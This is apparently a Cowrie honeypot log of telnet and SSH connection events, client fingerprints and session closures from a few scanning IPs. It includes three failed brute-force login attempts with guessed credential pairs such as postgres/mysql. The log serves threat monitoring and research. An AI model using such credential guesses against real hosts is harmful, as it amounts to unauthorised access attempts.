{"eventid":"cowrie.session.closed","duration":33.14214038848877,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:51.402151Z","src_ip":"23.254.167.244","session":"9851ae5838f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.49097013473511,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:51.772450Z","src_ip":"209.159.146.115","session":"e105e18ddaeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.709444761276245,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:52.211780Z","src_ip":"209.159.146.115","session":"537a5f6141d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59118,"dst_ip":"159.203.135.109","dst_port":23,"session":"a87736ff60f5","protocol":"telnet","message":"New connection: 209.159.146.115:59118 (159.203.135.109:23) [session: a87736ff60f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:52.937911Z"}
{"eventid":"cowrie.session.closed","duration":1.8134891986846924,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:52.965208Z","src_ip":"23.254.167.244","session":"00f79e9b2491","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":59964,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c4452e62138","protocol":"ssh","message":"New connection: 157.66.34.121:59964 (159.203.135.109:22) [session: 9c4452e62138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:53.099803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:53.103968Z","src_ip":"157.66.34.121","session":"9c4452e62138","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:53.336640Z","src_ip":"157.66.34.121","session":"9c4452e62138","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.50649452209473,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:54.217940Z","src_ip":"23.254.167.244","session":"ff362a4ba54c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"mysql","message":"login attempt [postgres/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:54.292122Z","src_ip":"157.66.34.121","session":"9c4452e62138","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39662,"dst_ip":"159.203.135.109","dst_port":23,"session":"20f98e02ee26","protocol":"telnet","message":"New connection: 209.159.146.115:39662 (159.203.135.109:23) [session: 20f98e02ee26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:54.649001Z"}
{"eventid":"cowrie.session.closed","duration":33.00272560119629,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:54.734113Z","src_ip":"209.159.146.115","session":"cef3e7000375","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.224549055099487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:55.350852Z","src_ip":"23.254.167.244","session":"9153a1db0cfd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830262422561646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:55.452841Z","src_ip":"23.254.167.244","session":"eaba69e22c18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:55.526304Z","src_ip":"157.66.34.121","session":"9c4452e62138","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.91401934623718,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:56.324654Z","src_ip":"209.159.146.115","session":"5da6794e00d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.39229607582092,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:57.989397Z","src_ip":"209.159.146.115","session":"640ec9924e1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54398,"dst_ip":"159.203.135.109","dst_port":23,"session":"0917214ea181","protocol":"telnet","message":"New connection: 209.159.146.115:54398 (159.203.135.109:23) [session: 0917214ea181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:58.356925Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49048,"dst_ip":"159.203.135.109","dst_port":23,"session":"115ac59e2b5c","protocol":"telnet","message":"New connection: 23.254.167.244:49048 (159.203.135.109:23) [session: 115ac59e2b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:00.696972Z"}
{"eventid":"cowrie.session.closed","duration":34.96338176727295,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:01.412629Z","src_ip":"209.159.146.115","session":"d36c7eff8a02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50536,"dst_ip":"159.203.135.109","dst_port":23,"session":"33411283fe83","protocol":"telnet","message":"New connection: 209.159.146.115:50536 (159.203.135.109:23) [session: 33411283fe83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:04.011709Z"}
{"eventid":"cowrie.session.closed","duration":34.848328828811646,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:04.031882Z","src_ip":"209.159.146.115","session":"c4a09b18a73c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140705347061157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:04.255920Z","src_ip":"209.159.146.115","session":"ed05e9a1aa29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.78222346305847,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:04.531241Z","src_ip":"209.159.146.115","session":"5d821f08fa75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83731770515442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:05.053956Z","src_ip":"209.159.146.115","session":"a07525cd64b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.03499937057495,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:05.666959Z","src_ip":"209.159.146.115","session":"c353aca445cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":48318,"dst_ip":"10.17.0.5","dst_port":22,"session":"a42ed19bb846","protocol":"ssh","message":"New connection: 80.94.92.182:48318 (10.17.0.5:22) [session: a42ed19bb846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:06.624645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:06.746630Z","src_ip":"80.94.92.182","session":"a42ed19bb846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:06.750186Z","src_ip":"80.94.92.182","session":"a42ed19bb846","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56896,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c7da6d5e722","protocol":"telnet","message":"New connection: 23.254.167.244:56896 (159.203.135.109:23) [session: 5c7da6d5e722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:07.041048Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"validator","message":"login attempt [solana/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:07.784822Z","src_ip":"80.94.92.182","session":"a42ed19bb846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.69644498825073,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:07.791916Z","src_ip":"209.159.146.115","session":"659d2b3da698","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44552,"dst_ip":"159.203.135.109","dst_port":23,"session":"682a7ef99d9f","protocol":"telnet","message":"New connection: 209.159.146.115:44552 (159.203.135.109:23) [session: 682a7ef99d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:08.144848Z"}
{"eventid":"cowrie.session.closed","duration":34.031304121017456,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:08.371541Z","src_ip":"209.159.146.115","session":"f20e1729d2c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:08.936605Z","src_ip":"80.94.92.182","session":"a42ed19bb846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.989582538604736,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:09.623995Z","src_ip":"209.159.146.115","session":"43507b7a55c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47196,"dst_ip":"159.203.135.109","dst_port":23,"session":"739bb3c291c7","protocol":"telnet","message":"New connection: 209.159.146.115:47196 (159.203.135.109:23) [session: 739bb3c291c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:09.978831Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33078,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d1cb9513029","protocol":"telnet","message":"New connection: 23.254.167.244:33078 (159.203.135.109:23) [session: 6d1cb9513029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:10.788343Z"}
{"eventid":"cowrie.session.closed","duration":33.22776985168457,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:11.572833Z","src_ip":"209.159.146.115","session":"8427d8442899","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60498,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e02d9afcad2","protocol":"telnet","message":"New connection: 209.159.146.115:60498 (159.203.135.109:23) [session: 8e02d9afcad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:11.846696Z"}
{"eventid":"cowrie.session.closed","duration":34.224430084228516,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:12.126879Z","src_ip":"209.159.146.115","session":"ad79e1afa15d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.16232490539551,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:12.662265Z","src_ip":"23.254.167.244","session":"522e901da311","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36180,"dst_ip":"159.203.135.109","dst_port":23,"session":"e79a974f9a76","protocol":"telnet","message":"New connection: 23.254.167.244:36180 (159.203.135.109:23) [session: e79a974f9a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:13.472478Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":51492,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3e8a4dce376","protocol":"ssh","message":"New connection: 186.13.24.118:51492 (159.203.135.109:22) [session: b3e8a4dce376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:13.612836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:13.617259Z","src_ip":"186.13.24.118","session":"b3e8a4dce376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:13.787354Z","src_ip":"186.13.24.118","session":"b3e8a4dce376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123456","message":"login attempt [ftpuser/ftpuser123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:14.491442Z","src_ip":"186.13.24.118","session":"b3e8a4dce376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:15.663125Z","src_ip":"186.13.24.118","session":"b3e8a4dce376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":41634,"dst_ip":"159.203.135.109","dst_port":23,"session":"075aafdc999a","protocol":"telnet","message":"New connection: 23.254.167.244:41634 (159.203.135.109:23) [session: 075aafdc999a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:16.245165Z"}
{"eventid":"cowrie.session.closed","duration":33.74742889404297,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:16.751556Z","src_ip":"209.159.146.115","session":"ea9c505e2170","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.33086371421814,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:16.824262Z","src_ip":"23.254.167.244","session":"8fdb7d39175c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.983577251434326,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:16.980138Z","src_ip":"209.159.146.115","session":"5947dd10d810","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34318,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1a5aca0d447","protocol":"telnet","message":"New connection: 209.159.146.115:34318 (159.203.135.109:23) [session: d1a5aca0d447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:17.870757Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45462,"dst_ip":"159.203.135.109","dst_port":23,"session":"c158bb0c4f0b","protocol":"telnet","message":"New connection: 23.254.167.244:45462 (159.203.135.109:23) [session: c158bb0c4f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:19.737493Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40538,"dst_ip":"159.203.135.109","dst_port":23,"session":"36e7ea69caef","protocol":"telnet","message":"New connection: 209.159.146.115:40538 (159.203.135.109:23) [session: 36e7ea69caef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:19.846823Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44140,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4676f650fe9","protocol":"telnet","message":"New connection: 209.159.146.115:44140 (159.203.135.109:23) [session: c4676f650fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:20.780997Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45712,"dst_ip":"159.203.135.109","dst_port":23,"session":"b197996bd8ea","protocol":"telnet","message":"New connection: 209.159.146.115:45712 (159.203.135.109:23) [session: b197996bd8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:21.193095Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":52066,"dst_ip":"159.203.135.109","dst_port":23,"session":"45de20072f76","protocol":"telnet","message":"New connection: 23.254.167.244:52066 (159.203.135.109:23) [session: 45de20072f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:23.288997Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54240,"dst_ip":"159.203.135.109","dst_port":23,"session":"641b72c780bb","protocol":"telnet","message":"New connection: 209.159.146.115:54240 (159.203.135.109:23) [session: 641b72c780bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:23.586150Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54772,"dst_ip":"159.203.135.109","dst_port":23,"session":"68e1e2ecf8b0","protocol":"telnet","message":"New connection: 209.159.146.115:54772 (159.203.135.109:23) [session: 68e1e2ecf8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:23.749382Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60878,"dst_ip":"159.203.135.109","dst_port":23,"session":"9329e14fa96d","protocol":"telnet","message":"New connection: 209.159.146.115:60878 (159.203.135.109:23) [session: 9329e14fa96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:24.947871Z"}
{"eventid":"cowrie.session.closed","duration":32.68100929260254,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:25.618835Z","src_ip":"209.159.146.115","session":"a87736ff60f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":53978,"dst_ip":"159.203.135.109","dst_port":23,"session":"43b0af6359a2","protocol":"telnet","message":"New connection: 23.254.167.244:53978 (159.203.135.109:23) [session: 43b0af6359a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:26.211714Z"}
{"eventid":"cowrie.session.closed","duration":37.00247049331665,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:26.296871Z","src_ip":"23.254.167.244","session":"c2109ed53551","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43494,"dst_ip":"159.203.135.109","dst_port":23,"session":"38dc9501493f","protocol":"telnet","message":"New connection: 209.159.146.115:43494 (159.203.135.109:23) [session: 38dc9501493f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:27.334701Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55556,"dst_ip":"159.203.135.109","dst_port":23,"session":"265dd78e57fc","protocol":"telnet","message":"New connection: 23.254.167.244:55556 (159.203.135.109:23) [session: 265dd78e57fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:27.490696Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44048,"dst_ip":"159.203.135.109","dst_port":23,"session":"94b5e8920b00","protocol":"telnet","message":"New connection: 209.159.146.115:44048 (159.203.135.109:23) [session: 94b5e8920b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:27.584909Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44544,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fd047dd0cb1","protocol":"telnet","message":"New connection: 209.159.146.115:44544 (159.203.135.109:23) [session: 0fd047dd0cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:58:27.755233Z"}
